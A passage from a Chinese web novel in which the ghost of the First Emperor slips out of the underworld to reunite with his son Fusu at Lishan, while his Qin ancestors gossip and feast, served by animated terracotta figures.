“是精神,太精神了。我那天从隔壁位面弄了点治这个毛病的药,父亲你要不要吃一颗?” 嬴稷没听明白是什么药,还待细问。 那头子楚也慢悠悠地提醒道: “阿苏是活人,只怕看不见我等,祖父还是别忙活了。” 人都忙完了他才开口。 嬴稷不以为意: “政儿都能给阳世送信了,肯定能再找到让阿苏看见寡人的法子。” 他对这个完成了老秦家几百年夙愿的曾孙非常有自信。 子楚眯了眯眼,怀疑自家这个老流氓祖父在装疯卖傻,捧杀他儿子。 看热闹不嫌事大是吧? 方才只是给阳世送了封信,就闹出那么多动静来。现在黄泉府君还没发现异常,等那头发现不对了,肯定要过来找麻烦的。 昭襄王不想着帮忙遮掩,还在撺掇政儿继续犯禁。说没有别的意图,傻子都不信。 恐怕是想着黄泉府君一向礼遇每个位面的始皇帝,由政儿带头犯禁,府君也没辙。而他,便可以跟在后头占便宜了。 在场的都是人精,自然都看了出来。 嬴驷立刻一巴掌呼他脑袋上: “你消停点!” 嬴稷被他爹拍得差点脑门磕到案几上。 始皇看了他们一眼,没有开口。 诸位长辈恐怕是对他有点误解,即便他有法子叫扶苏看见魂魄,也和他们没什么关系。 他儿子只要能看见他就够了,看什么其他人?尤其是某个觊觎他儿子的家伙,还嚣张到当着他的面说“这要是寡人的儿子就好了”,自己没儿子吗? 气氛一时间紧绷起来。 孝公轻咳一声,打圆场道: “稷儿别闹,不要给孩子太多压力。能与阳世通信已是意外之喜,不可太过贪心。” 比起其他王侯家族,嬴秦已经算和乐融融的了,底下儿孙们闹点小矛盾不算什么。大家都是当过国君的人,说一不二惯了,不闹矛盾才是怪事。 众人都很给大家长面子,气氛逐渐恢复融洽。 孝公又问起始皇: “阿苏要来,你预备如何?” 扶苏到了骊山,就能随时和父亲通信了。想到他们父子俩平时的黏糊劲,大家十分怀疑扶苏会把公务都挪来骊山处理。 这还真没什么困难的,毕竟骊山离得近。 因为始皇喜欢巡游的缘故,这些年朝中都习惯陛下和太子不在、独留太孙桥松监国的情况了。 巡游时,父子俩一般也都是只处理要紧的大事,寻常小事交给桥松去办。现在只是二世皇帝独自居住在城外的骊山而已,比巡游时还更方便些。 理由都是现成的——扶苏身体不好,年纪又大了,需要在清静之处休养。 别看骊山陵在后世是郁郁葱葱的山林,其实在秦朝时,上面是有地上建筑的。亭台楼阁、花园景致,甚至还有个从周围大河里引水而建的大型池塘。 虽然因为地宫尚未封土的缘故,大部分地面建筑还未如预计中那般开始建造。好在仍有不少区域已经封闭,且成功完成了地面的修建。 扶苏要来,也不需再新建宫室居住,直接有现成的宫殿在。 然而始皇却眉头一皱: “骊山陵阴气重,阿苏怎能常年住在这里?” 众人:…… 那我们还常年住在地府呢。 不过始皇的顾虑也有道理,扶苏毕竟是体弱的活人,偏偏地宫这边又和地府互通。活人待久了不一定有影响,但能不多待最好还是不要多待。 始皇原地踱步了一会儿,还是决定出去看看。 本位面的始皇陵大体分成了三个区域。 外城区是兵马俑等丛葬坑,以及群臣的陪葬坑。中城区是仿照天下山川所建的大秦疆土模型,水银河便在此地。 内城区是复刻的秦王宫建筑群,正中是秦国旧都雍城的王宫模样,目前作停灵用。周围一圈是其他宫殿,像北侧就是玄宸宫。 外城区和中城区的大部分地界都已经封土了,只剩内城地宫还在摆放陪葬品。 整个陵墓极大,光靠双腿行走非常吃力。 好在鬼魂是可以飘的。 之前始皇与先祖们闲聊时获知了不少地府的情况,也学会了鬼魂的许多常见操作。比如赶路这一条,就非常方便。 大家所谓的飘,不是非得离地的那种。 应该说是走路的时候施展鬼魂特性,以缩地成寸的方式前行。很远的路途迅速就能走完,看起来有点像瞬移和疾行的结合体。 始皇尝试了一下,一眨眼就离开了宫殿群,来到中城和内城的交界处。 这里有条甬道是通往地面之上的。 周围有活人的衣服来来往往,不断搬运各种东西进来。始皇逆着人流一步步走到甬道尽头,发现尽头之外的场景并非他熟悉的模样。 嬴驷站在他身边,顺着他的视线看去。 始皇问道: “外面是何处?似乎不是骊山陵的地面区域?” 嬴驷微微点头: “不错,此处是你这皇陵的出口。” 他所说的出口,明显指的是属于地府的出口。出去之后会进入地府的外世,在那里他会遇到许多同他一般的鬼魂,都是这些年死下来的王侯将相。 始皇看着那些衣服飘过门口,像是穿透了什么结界消失不见。又看着许多衣服宛如凭空出现那般,从外面进来。 分明是同一个出入口,链接的却是两个世界。 嬴驷拍了拍他的肩膀: “走吧,我们这些魂魄是出不去的。” 等到地宫封存,这里就会彻底成为骊山陵对外的出入口,再不能联通阳世。 嬴驷还告诉他: “虽然在阳世时,所有人的墓穴都在地底。可在地府,这些却是矗立在地面上的。” 因而等出去之后,始皇就会发现他站在外城之外。回头去看,还能看见高耸的外城城墙。城墙之内,是一排排列阵的兵马俑等丛葬品。 可事实上,这个甬道的出口应该位于中城区和内城区交界处的地面上才对。 这就是地府和阳世的不同了。 始皇没有走,他站在出口附近看着来来往往的人群。 想了想,他问高祖父: “地府中是什么模样的?” 嬴驷答道: “和阳间格局差不多,地形之类的没什么区别。就是阳世的那些活人折腾出来的建筑农田见不着了,到处都是墓。” 哪怕当前的平行地府里只有王侯将相,墓穴也多不胜数。有些地方是重灾区,一眼看去墓挨着墓。 幸而大家当初修墓的时候特意选过位置,好歹避开了别人的墓穴。否则有的地方就不是互相挨着,而是互相压着了。 毕竟往地下挖的话,是能挖出地下一层地下二层这种分别的。 偏偏地府又把它们全变成地上墓穴了。 嬴稷凑过来分享八卦: “寡人听闻许久之前有个贵族把墓修到了商朝墓的上层,那人来了地府之后,直接喜提空中小楼。” 别人的墓穴落在地面上,他的飘在空中。 这下子他就不干了,闹腾起来。他下头的商朝贵族也不干了,谁乐意自己头顶压着别人的墓呢。 黄泉府君去调解了一番,但没调解好,事情反而越闹越大。 当时从上古到东周的所有贵族都挤在一处空间里,像这样墓压墓的情况并不少见。 实在是从上古至今大几千年了,大家还都聚众居住在那么几处区域。好地方就那点,下葬的时候很容易撞车。 幸亏不少时代太古早的贵族因为阴寿耗尽投胎去了,不然这类争端只会更多。 到最后黄泉府君干脆按照朝代给他们进行了划分,加开了一个平行空间。夏商周的都去那头居住了,这里只剩春秋战国和秦朝的年轻小辈们。 嬴稷也是去那头闲逛时打听到的旧事。 嬴驷也补充道: “如今周天子全都搬去了那里,说是在这边住着总遭人欺凌。” 遭人欺凌也跟他们大秦没关系,他们的墓穴大都在洛阳。洛阳位于关外,那边多是晋国人和韩赵魏在活动,秦君看热闹就行。 总之,无论西周还是东周的天子,都不和他们住一块儿,大家平时不怎么碰面的。 始皇大致了解了地府的格局。 正思量间,黄泉府君终于赶来了。 事情都过去了快两个时辰,他反应也是够慢的。此刻才跑来兴师问罪,这会儿阳世的黄花菜都凉了。 府君气急败坏: “你你你!你怎么能给阳世送信的?!” 嬴稷翻了个白眼: “送都送了,你现在来问有什么用?” 习惯性怼完人,他突然发现不对: “等会儿,你刚刚这话好像问得有些奇怪。” 不是该质问“你怎么能给阳世送信”吗?虽然只多了一个“的”字,含义却大不相同。 前者是谴责始皇乱来,后者是震惊始皇居然真的送成功了。 其他人也意识到情况有变。 子楚若有所思: “所以政儿发现的那个法子,里头还有蹊跷。” 始皇干脆直接问了: “朕就是送了,你奈我何?” 府君被他气了个倒仰: “你那法子根本就不该成功!” 如果只是这么简单就能把东西送去阳世,各界不就乱了套了?以后后人考古发现墓里全是鬼魂留下的痕迹,当时就能从无神论变有神论。 他们这些所谓的神仙确实是不好插手人界太多的,除了一些设定上就有玄学因素的位面外,别的位面天道都秉持着互不干涉的原则。 府君不敢给始皇帝开小灶,正是怕天道降下雷霆责罚他。 秦君们面面相觑。 嬴稷一把拎住府君的衣领: “来来来,你给寡人说清楚。为什么这个法子成不了,我们方才分明就成功了。” 府君比他还费解,只能耐下性子解释了一番。 正常情况下,像这样不断给物品里输入功德,只会把东西撑坏。 以前也有人试图钻这个空子,结果浪费了大量功德却一无所获。物魂还消失了,亏了个底掉。 后来就再没人去试探,免得功德打水漂。 黄泉府君自己若想和阳世联络,确实是用输入功德的这招。但在功德输入满后,还得调动一丝气运之力,才能成功完成对物品本体的烙印。 可是那些这些非神职的普通鬼魂又动用不了气运之力,始皇到底是怎么做到的? 众人的目光聚焦到肇事者本人身上。 始皇八风不动: “朕没用什么气运之力,说明是你们的天道法则有问题。” 黄泉府君:…… 黄泉府君忍不住思索,难道真的是出现了bug?他和很多始皇帝打过交道,知道这位陛下不屑于撒谎,肯定不会骗他。 半晌后,他心累地摆摆手: “算了,你之后别再试图挑战禁忌了。之前可能真是个意外,所以天道才没有惩罚你。再尝试的话,万一触怒天道被降罪,我可救不了你。” 说着府君又消失了,他得回去思考怎么解决这次事件引发的不利影响。 待他一走,秦君们都用眼神询问始皇: ‘你真不知道是为何?’ 始皇淡定地回望,看起来无辜得很。即便是面对自家长辈,也一点都不打算透露真相。 他当然知道自己为什么能成功。 始皇确实没动用过什么气运之力,但他自从重生后运气就变得极好。所以他怀疑这种操作并非必须要用气运之力辅佐,只要足够幸运,就能成功。 所谓的气运之力,本来也是和运势相关的,不是吗? 既然要用它辅助才能成功,说明这件事是一种概率事件。一般情况下谁来操作都会失败,除非幸运值拉满才能百分百成功。 始皇不知道自己幸运值多少,如今看来应该挺高的。 由此可见,其他位面里恐怕确实没多少人发现这个方法。就算知道了怎么操作,也不一定用得了。 始皇知道自己接下来该怎么做了。 他抬步朝着甬道的出口走去。 府君恰好探头出来,想再叮嘱两句: “始皇帝陛下,你以后可别再和阳世通信了。真的,我不是在危言耸听,你……” 话说到一半,发现人在往外走。 他一个激灵立刻问道: “陛下往何处去?” 始皇头也不回: “朕想出去看看。” 府君松了口气: “那行,你去吧。地府里大家都挺友善的,你记得和他们好好相处啊。” 说罢缩回了脑袋,空中的空间裂缝也消失了。社畜要回去接着想解决方案,唉,真是命苦。 然而甬道中的始皇却在门口停下了脚步,伸出手,用覆盖了功德薄膜的指尖去触碰那道他看不见的屏障。 一开始摸了个空。 直到有一个衣服进出的时候,他隐约看见一层荡漾的涟漪。手伸出去准确碰到那道涟漪,终于感受到了一点阻力。 有戏! 始皇加大了力气,同时不断朝身上补充功德薄膜。 终于,他的手指穿过了屏障消失了。 接着是手掌、手臂、整个人…… 秦君们就这么眼睁睁看着他们这么大一个政儿出去了。 大家:!!! 居然真的可以出去! 相见 秦君们对着空荡荡的入口沉默了许久。 最终,孝公开口了: “都散了吧,别杵在这里。该干什么干什么去,不要出去乱说。” 他们全都杵在这 ,等一会儿府君发现政儿不见了,又瞧见他们围在这儿,岂不是立刻就能意识到人去了哪里? 虽然他们不能给政儿帮忙,但也不好留下添乱。 众人默契地各自出门,回家去了。 嬴稷抬步走出去两步,突然想到什么,又折返回去。 子楚立刻警觉回头: “祖父这是要去哪里?” 嬴稷状似随意地答道: “寡人那墓穴住着太逼仄了,住久了心情不好。正好政儿这里宫殿多,寡人四处看看,回头跟政儿要间宫殿住。” 说着还抱怨起来。 什么自己以前在哪个宫室住久了都习惯了,死到地府被迫住墓室实在难熬。幸好政儿和阿苏聪明,把地宫布置成了宫殿的模样,可算有个活人能住的地盘了。 子楚默默盯着他,没说信也没说不信。 嬴稷:…… 倒霉孙子可真难糊弄。 嬴稷只好实话实说: “趁着政儿不在,寡人去看看阿苏给寡人画的画像。” 要是可以拿回自己家就最好不过了。 以前秦国的画师水平有限,给君王画的画像也好看不到哪里去。后来阿苏自学成才能画漂亮的写实画,就遵照着史书里的描述给太庙的先祖们都画了新的画像。 其实和他们本人相似度有限,可架不住它好看啊。就像是美颜滤镜开大了之后的照片,要是能放在身边天天欣赏,心情都能好不少。 那画原本只在太庙里放着的,后来扶苏又画了一份放进了地宫里。嬴稷就琢磨着,这得是他乖乖玄孙给他留的礼物吧? 既然是给他的礼物,他提前拿走有什么问题! 嬴稷理直气壮起来: “寡人去找找,找到了正好带回家。” 子楚露出了微笑: “孙儿劝您最好不要这么做。” 不问自取是为偷,政儿对他儿子的画作有多宝贝大家有目共睹。嬴稷今天敢拿走,明天就要挨揍。 嬴稷不信邪: “寡人是他曾祖父!” 曾祖父拿曾孙一点东西怎么了?这不是本来就该他主动孝敬的吗? 而且他拿的也不是别的,是他自己的画像。都是他自己的画像了,为什么不能拿! 子楚不再管他,转身离开。 好言难劝该死的鬼,待来日政儿回家,他就去告知政儿此事。顺便修复一下父子关系,届时他一定会真诚感激昭襄王的付出。 始皇穿过屏障来到阳世之后,明显感觉到了灼烧感。 他抬眸看了一眼天上高悬的烈日。 想了想,将功德覆盖在自己身上,并且调整成无色透明的状态。很快,灼烧感减轻了不少。 只是功德也开始被消耗减少,需要时时补充。 始皇又尝试着调整了一下功德能量的厚度,迅速掌握了最佳比例。但他并没有就此收手,而是主动削弱了功德供给,然后走到树荫底下。 没有阳日直晒后,灼烧感消失,功德的消耗速度减弱。 经过仔细的对比实验,他发现唯一的影响因素就是直晒。 但凡被晒到一星半点,就会产生灼烧感,感觉的强烈程度和今日阳光的灿烂程度成正比。 而站在建筑物之类的遮挡下,则不存在伤害。哪怕有类似镜面的东西反射光线,也依然无事发生。 始皇还伸出一只没有包裹的手放在阳光下试探,想弄清楚阳光到底在灼烧什么东西。结果发现手掌慢慢变得透明了些,把手放回阴凉处,又会缓慢变回实体。 他若有所思。 其他鬼魂受伤时或许也是这样的表现,魂体变得透明。彻底透明的时候,应该就是阴寿耗尽之时,会被强制投胎。 魂体的自愈消耗了一部分功德,不知道比起正常打架受伤的消耗是多还是少。 应该更多,毕竟用功德抵挡阳光的伤害就消耗巨大,没道理修补这种伤势的魂体会便宜。 始皇之所以有闲心在这里试验这东西,主要是因为扶苏还没抵达骊山。 他现在跑去找儿子,虽然可以在半路上碰见。但他担忧那里前不着村后不着店的,万一扶苏见到他一个激动晕过去了,都不好就近找地方静养。 不如先等人抵达骊山,入住这里的宫室之后,他再现身。 始皇在四处转了转,思索儿子一会儿会挑哪个宫室居住。 若论精美程度,应该是中城区上方的主宫室最佳。然而那处距离地宫入口较远,扶苏或许不愿入住。 最后始皇挑了个最近的,进去等待。 秦皇车架没多久就赶至骊山。 扶苏一下车立刻朝地宫入口走去,夏太医的小徒弟跟在后头劝说他先进屋休息片刻再下地宫。 小徒弟板着脸十分严肃: “陛下,您这样万一晕倒在地宫里,怕是要吓着始皇帝陛下。” 他是会劝人的。 扶苏的脚步一下子就停了,下令道: “先进屋休整片刻。” 扶苏还不知道他爹已经出来了,还以为父亲被困在了皇陵之中。否则以父亲的性格,绝不会让人替他送信去咸阳,而是会亲至咸阳与他联络。 始皇站在廊檐下远眺这边。 刚刚还在思考是直接过去找儿子,把儿子拉进这边宫室中。还是等儿子进入甬道,在甬道里将人拦下。 没成想夏无且这个徒孙挺会劝人的。 以前夏无且当主治太医的时候,劝人的能力几近于无,他家太子总和不许他多吃甜食的夏无且对着干。 后来夏无且的徒弟夏太医接替了他,好了很多。虽然他也不会劝人,但夏太医为人比较机灵,总能想到法子满足太子的离谱要求。 现在夏太医年纪也大了,轮到小徒孙扛起大梁。这人既不像夏无且那样耿直,也不像夏太医那么圆滑,却意外地能劝动扶苏。 始皇以前对他没什么印象,想来是这半年才正式出师开始行医的。 见儿子被众人簇拥着走过来,始皇稍稍避了避。 避开后才想起来,自己现在不在阳光下,所以没套上功德护盾。活人大约是碰不到他的,完全没有必要避让。 扶苏已经进入了屋中。 侍者连忙打来清水为陛下更衣洗漱,初夏天赶来骊山,陛下出了一身汗。 扶苏满脑子都是父亲,催促侍者快些。 更衣完毕又被小夏太医塞过来几粒药丸,说是可以清暑降燥,还能平心静气,让人不容易因过于激动而晕厥。 扶苏:……朕怎么可能这么没出息! 但他还是把药吃了,六十多岁的老人家不能任性。 始皇等儿子把药吃了,准备起身下地宫的时候,才伸出手。他用包裹了功德的手掌握住了儿子的手,然后趁他愣神,在手心写了个“安”字。 因为不确定要用多少功德才能让自己触碰到活人,触碰生命体和死物或许需要耗费的功德不同。 所以始皇给自己套了非常厚的功德盾,同时还进行了极致压缩,担心太厚会影响行动。 反正无论他给多给少,该消耗多少就是多少,不会因为给的多就额外消耗一大堆。 但始皇很快发现,功德薄膜没影响他的操作。就算他不压缩,那层能量团其实也干扰不了什么,它不是气体团可以挤开别的物品。 扶苏陡然被看不见的存在握住手,心脏剧烈跳动了一下。 太医给的药丸还没厉害到真能让他就此保持冷静、不会晕厥的程度,毕竟又不是后世精确提炼合成的现代药物。 可扶苏还是迅速稳住了。 活了这么多年什么大场面没见过,既然都见识过父亲显灵了,那心里自然早有会碰见哪些情况的准备。 扶苏心脏狂跳之后,随之而来的就是巨大的惊喜。他还以为自己顶多能和父亲隔着纸张以文字交流,想不到竟还能直接接触。 他端住了表情没有让人看出端倪。 始皇帝显灵的消息目前已经被他命将作少府封锁住了,他暂时也没有广而告之的想法。 一是魂魄显灵这样的事情怕会引起天下动荡,二是他也担忧知道的人多了可能会对父亲产生不利影响。 到底要不要公开,他得问过父亲的意见。 之前小夏太医虽然用了“您晕倒在地宫会吓着始皇帝”的说辞劝人,实际上小夏太医压根没觉得始皇帝真能看见这一幕,他就是找个借口而已。 扶苏深吸一口气: “朕有些乏了,还是休息片刻再去地宫探望父亲吧。” 众人一听立刻喜形于色,连忙为陛下安排床榻。扶苏等里屋布置好后就遣退了所有人,迫不及待地看向周围的虚空。 他不知道父亲在哪里,试探着问: “阿父?” 始皇轻轻将手搭在他肩膀上,力道不大,但这个力道一直存在着,就让扶苏十分安心。 始皇尝试出声应答儿子,可惜扶苏似乎听不见。他暂时还没想出在声音上覆盖功德的办法,哪怕用功德包裹颈部也没有任何作用。 还是只能写字交流。 始皇略有些遗憾,转念一想,又觉得不能太贪心。 扶苏仿佛盲人摸索一般伸出手,顺着肩膀上的触感去寻找父亲的位置。 始皇无奈地看着儿子的手穿过自己没有覆盖功德的身躯,场面还有点莫名惊悚。见扶苏神情认真且执着,叹了口气,只好等他手拿开后给浑身裹住功德。 本来他想着是不是该节省着点用,哪怕钱多看着花不完的样子,也不能浪费。万一哪天花着花着了当真花完了,那会很麻烦。 可看到儿子这可怜巴巴找爹的模样,始皇哪里还能狠得下心。 他主动收回按着儿子肩膀的手,在扶苏露出惊慌表情的下一秒,给了他一个轻轻的拥抱。 扶苏瞬间安心下来: “阿父,我碰到你了。” 始皇摸了摸他的发顶,像他幼时那样安抚他。 年老的儿子依偎在年轻父亲的怀抱里,这个场面本该看起来很诡异的。好在周围没有围观群众,况且旁人也看不见魂体。 始皇自己没觉得有什么不对劲的,他的心态暂时还没从八十岁老者调整过来。 他生前看儿子就是跟看小孩一样,死后自然也不会改。扶苏多大在他眼里都和没长大是一样的,永远需要他庇佑。 片刻后他拍拍黏人的孩子,示意扶苏松开自己。然后牵着儿子的手走向桌案,拉着他坐下。 扶苏立刻会意,亲自给父亲研墨。 始皇提笔写了几句话,简单介绍了一下自己的情况。 父子俩默契十足,不用说得太明白。很多内容始皇只要稍稍提几个字,扶苏就能瞬间领悟,给父亲节省了许多功德。 接着,始皇又教导着扶苏学会了数字的用法。 扶苏若有所思: “父亲在担忧功德不够用吗?无妨,我来为父亲算一算。” 这个位面的扶苏天生擅长数算方面的东西,也是因此他极擅经商和打经济战。靠着这个本事帮大秦赚取了大量钱财,推动了秦土的商贸繁荣。 比起计算国际贸易相关的内容,算这点功德耗费量简直小菜一碟。他很快接过笔,迅速打起草稿来。 始皇帝自己也能算,只是他在阳世写字会消耗大量功德。在不清楚自己这些功德能用多久之前,还是得尽量节省。 这会儿他就收回了功德薄膜,也没再继续牵着儿子的手。 始皇大致给出了几个不同行为的功德消耗量,以一秒钟为单位。 时分秒这样的计时方式还是他跟着先祖们学的,据说地府都在用这个。每个魂魄随身携带的直播光屏上也有电子时钟,对照着时钟计算会方便很多。 这些东西都是地府常识了,其实不需要旁人教导,魂魄都能瞬间领悟。 然而先祖们总是忧虑始皇可能搞不懂这些,毕竟八十岁老人学习效率低下很正常,就抓着始皇反复教了一堆东西。 虽然都是白教浪费时间,但他们的教导却叫始皇知道了该怎么把这些教给没接触过它们的活人。 始皇有样学样,照着先祖们的教法又教了儿子一遍。 扶苏于是了解了一日大致有86400秒,以此来计算如果父亲时时刻刻维持和活人以及阳世物品大面积接触的状态,一天要花费多少功德。 然后再推算出一年花费多少、十年、一百年…… 这种大数额的乘法算起来并不容易,扶苏干脆就简略了。以一天9万秒取整计算,消耗宁愿往大了算不往小了算,留下充足的余裕。 就这样,最后扶苏得出结论: “父亲那功德在阳间待百万年也花不光功德。” 扶苏只计算了百万年要花多少,然后对照了一下父亲的存款余额,仍是九牛一毛。 那就没必要继续算了。 始皇颔首,而后又想起儿子看不见,便拍了拍他的手背以示自己知道了。 但始皇很快又忧虑起别的。 他拿过笔在纸上写字,这次不用节省功德了,可以畅所欲言。 始皇写道自己功德用不完,却不知儿子日后去了地府功德可够用。先祖们似乎不太够用的样子,他或许还得接济先祖。 扶苏立刻皱眉: “先祖们竟如此不争气吗?” 这样岂不是会拖累父亲?! 说完就被父亲用笔尾敲了一下脑袋。 以前这臭小子嘴上不把门胡乱开口也就罢了,那时他们也不知道先祖在地府还能得知阳世的事情。 如今既然知道了,始皇自然得盯着点儿子,不许他再说大逆不道的话得罪祖宗。 扶苏捂住额头: “我知道了,我不说了。” 始皇这才接着写下去。 他打算想法子帮儿子多赚点功德,这样以后儿子也可以不受拘束地过日子。若是不成也不要紧,扶苏以后啃老花他的钱他也不介意。 只是这样的话,他就要削减一点给祖宗们的花销了。 毕竟穷祖宗可以,穷儿子不行。 先祖们也不好意思和晚辈争抢的吧? 养老费 始皇在自己的面板里东戳戳西戳戳,很快找到了之前的功德收支明细。 地府中文字排版和各位面接轨,都是横向显示,从左到右的。一开始看着还不太习惯,看多了就还好。 如果难以接受的话,也可以在设置里调整成纵向的。不过始皇见先祖们都没调,意识到可能日后用横向会更方便些,便不曾改动。 他对照着最初的功德结算列表,将里面的收入大头一项项挑了出来。 做什么更容易获得功德,看它就知道了。 地府里,因为父子俩在非公共场合的室内,先祖们想围观也围观不了。打开直播间黑屏一片,什么都看不见。 嬴柱嘟囔了一声: “不知道他们父子俩在密谋什么……” 嘴上是这么说的,其实诸位心里都门清。还能密谋什么,密谋怎么赚取更多的功德呗。 这个操作严格来说有些作弊,毕竟别人都是在不知情的情况下自己积攒功德的,你却提前告知活人要趁着活着多赚点。 况且始皇还带了攻略过去,就更过分了,完全没有公平性可言。 但话又说回来,始皇帝能出去也是他的本事。何况能赚取功德的事情,都得是利国利民的好事,扶苏照着答案抄不也是在为万民谋福吗? 嬴稷溜溜达达地从骊山陵里出来,回到家果不其然看见一大堆人聚在他家中。 作为大秦在位时间最长的秦王之一,嬴稷给自己修墓修了好多年。所以比起别的先祖,他的墓穴自然格外豪华。 之前他嘴上抱怨自己的墓狭小逼仄,那是和骊山陵比的。要是纵向对比别的秦君,也是矮子里拔高个。 是以从秦非子到后头的秦子楚,统统都爱往他家里跑。也只有他这儿,能招待得下这么多人。 这里插一句题外话。 秦国王室祖上是嬴姓,和隔壁赵国王室一个祖宗。 后来赵人先祖造父率先受封于赵城,根据先秦时期贵族爱以封地为氏的原则,这一支的后人就成了嬴姓赵氏。 同一时间,秦人先祖混得就比较惨了。中途还因为得罪了仇家,被迫投奔亲戚,冠上赵氏的名头避祸。 直到非子因养马有功获封秦地,拥有了自己的封地。于是族中终于可以改氏,按照自家封地的秦来取氏,是为赢姓秦氏。 后世的出土文物里就有明确的惠文王自称“秦小子骃”之类的字眼,可见嬴驷的大名应该叫秦骃,秦王室自然也是自称秦氏的。骃也可能他的表字,也可能本名就是骃、驷是后世翻译的误认。 先秦这会儿,但凡贵族都有姓有氏有名有字。而姓是用来显示血脉的,氏则是用来鉴别贵贱的。 别人一听你是嬴姓秦氏,就知道你是秦国王室子弟,是诸侯王族。 但你要是说你是嬴姓沈氏—— 谁?没听过,不认识。 嬴姓又怎么了?姓嬴的那么多,嬴姓有几十个氏呢。 贵族以氏作为自己身份的象征,连名带姓喊人显得很不尊重。但在双方身份差不多的时候,以氏+名喊人,会显得正式许多,不带侮辱性质。 嬴稷,或者说应该叫秦稷,从外头进来,先瞅了一眼聚众唠嗑的秦君们。 子楚看到他问了一句: “真去偷画了?” 秦稷义正辞严地否认了: “怎么可能?寡人是那种人吗?” 其他人看看他,默默扭开了脑袋,继续聊天。 没有人回应刚刚的反问。 没有回应,就约等于默认。但秦稷不以为意,往他大胖儿子身边一挤,强行占了个位置。 “方才在聊什么?给寡人也听听。” 秦柱好脾气地答道: “在聊政儿他们在做什么。” 不好脾气也不行,他没资本跟他亲爹对着干。 秦稷哦了一声,突然提出一个问题: “府君总说天道明察秋毫,真的会让政儿他们钻到空子吗?” 这个问题一出,谁也没说话。 半晌后,身为春秋五霸之一的秦穆公慢悠悠开口了: “一个人发自内心地去行善,和为了好名声去行善,难道不都是在行善吗?善举造成的影响是实实在在的,并不会因行善者的内心想法而出现区别。哪怕要分出个高下,后者也不至于就完全不配得到任何回报。” 战国时期的秦君们纷纷嘴角一抽。 春秋时期大家还比较讲究面子,喜欢以礼待人。有时候打仗还要先君子作风地等对面列好军阵,再公平公正地打一场。 这就导致春秋的老祖宗们有时候会有点文绉绉地穷讲究,还有些个秦君就喜欢说大道理。 孝公熟练地忽略了那段话里的弯绕: “先祖说的不错,即便政儿他们是有目的地为民做事,多多少少也该有点功德作为进项才对。” 说话间,漆黑一片的屏幕亮起。 大家还当是父子俩从屋内走出来了,结果是有人切换了视角。 扭头一看,是秦非子兴致勃勃地切到某个幼年儿孙那边了。画面里是一群小萝卜头在嬉笑玩闹,看起来生机勃勃。 这是玄宸宫里专门给秦皇子孙居住的长乐宫,不过大家更喜欢叫它幼儿园。非子作为最大的长辈,就爱看这种族中小孩活泼玩乐的内容。 对小屁孩不感兴趣的秦君们默契地起身,决定把场地让给非子等长辈。 “走走走,我们去别的地方聊。” 秦稷提议去骊山陵,那里景致优美设施齐全地方还大。 然而被孝公否决了。 孝公认为之前政儿没苏醒,他们过去守着人还情有可原。如今孩子都醒了,老去霸占别人家不合适。 秦穆公也不疾不徐地附和: “不错,是该问过政儿的意见,再进去的。” 秦驷等人纷纷点头,赞同这个说辞。 秦稷:? 你们现在叭叭得开心,好像多开明的大家长似的。之前政儿人在跟前的时候,怎么没见一个高瞻远瞩地提前问过? 他正要冷嘲热讽。 旁边子楚收回按在光屏上的手: “走吧,去骊山陵。我方才给政儿发了消息询问,他同意了。” 秦穆公夸赞道: “还是子楚机敏能干。” 秦稷::) 平时坏事干多了是这样的,不太招人待见。 众人寻了一处宽敞的大殿落座。 这时突然有“人”端着佳肴美酒上来,给诸位先祖摆了满满一桌。 大家先是被吓了一跳。 因着秦朝废除奴隶制和殉葬制的缘故,地府里原本侍奉贵族们的奴仆都被府君做主释放了。 各国贵族因此大闹了一场,然而并不能阻止府君的决定。府君还说别的位面早就这么干了,这是天道的规定。 秦人倒是没闹,主要搞这事的是秦国后人,他们不好意思闹。 自那之后,满地府的贵族就只能做什么都亲力亲为。顶多花功德雇佣其他魂魄给你打工,想白嫖那是做梦。 然而大家的功德都紧巴巴的,没几个能奢侈到日日给自己雇佣一串仆从随行侍奉。 至于那些因为从小被洗脑,“自愿”侍奉原主人的奴仆。不是被天道强制扣除了主人的功德作为费用支付给仆从,还不许随便讨要回去。就是仆从干脆被府君带走,接受矫正性的教育。 不过仆从其实没多少功德在身,大部分过不了几年就得去投胎。重新投胎后,之前的洗脑影响自然就消弭掉了。 秦君里头能雇得起佣人的也不多。 且这些人还只能可怜巴巴雇一两个,根本不够用。幸而有些秦君人格魅力高,以前的臣子愿意回来侍奉君王。 天道是不管这些贵族互相之间谁伺候谁的,反正只要不压榨底层庶民就行,贵族照顾贵族那是你们自己的私人情趣。 所以日常中顶多能看见一些贵族服制的人帮国君们干点轻便的活,并不能见到成群结队的仆役。 可是如今的大殿上,却来来往往有许多仆役招待众人。看它们穿着的衣物,还是秦国王宫侍者的制服。 秦柱忙问道: “怎么回事?政儿不是没叫人殉葬吗?这里怎么这么多侍者?” 政儿别是不清楚地府的规定,还以为侍者死后也要继续伺候他们这些君王吧! 子楚示意他仔细观察那些侍者的面部表情,一直是永恒不变的。这哪是侍者的魂魄,分明是动起来的陶制人俑。 秦柱:……陶俑的话那岂不是更惊悚? 秦稷插话道: “这个寡人知道,寡人先前在别的位面碰见过。好像是这种陶俑之类的陪葬品,可以用功德激活。” 雇佣魂魄作为侍者,得每年固定给予一笔功德作为劳务费。但是激活陶俑就不一样了,它可以和寻常陪葬品一样用。 陶俑只会缓慢磨损,后头花少许能量修补即可。顶多是最初的激活费比较贵,好些人空有陶俑却用不起。 而且也不是所有人都搞的是这种人型陶俑,动物的更多。动物的激活了顶多看家,指望给你洒扫庭院端茶奉水实在是做梦。 秦稷还若有所思: “这种是不是类似科技位面的机器人?” 秦柱还是觉得毛毛的,往旁边让了让。 秦驷询问子楚: “这也是政儿让你弄的?” 子楚答道: “我从其他位面的始皇帝那里听说了这个法子,方才一并询问了政儿。政儿便道他不在家中,无法招待先祖们,不如让陶俑来招待。” 然后给他转了一大笔功德过来,子楚目前还没用完。 某位秦君饮了一口美酒: “这酒不错,定是政儿陪葬的好酒。” 又有一位秦君问道: “美酒也便罢了,都是现成的。这佳肴又是哪里来的,总不能还陪葬了佳肴?” 做好的美食放入地宫中陪葬,感觉有点奇怪。主要是食物容易腐坏,污染地宫环境。 倒也有特别爱吃某样食物的,会陪葬一份。但这里的数量都多到足够设宴了,明显不是陪葬品。 子楚提醒众人: “功德商城。” 光屏里功能齐全,后世手机电脑那些电子科技产物可以实现的操作它都能做到,它们实现不了的也能。 所以鬼魂不仅可以用它游戏娱乐,还能用它点菜买东西。只要你有足够的功德,什么问题都能解决。 比如人俑,自己没陪葬不要紧,上去买一个就是了。不喜欢人俑还能买机器人,任君挑选。 秦君们顿时哑然。 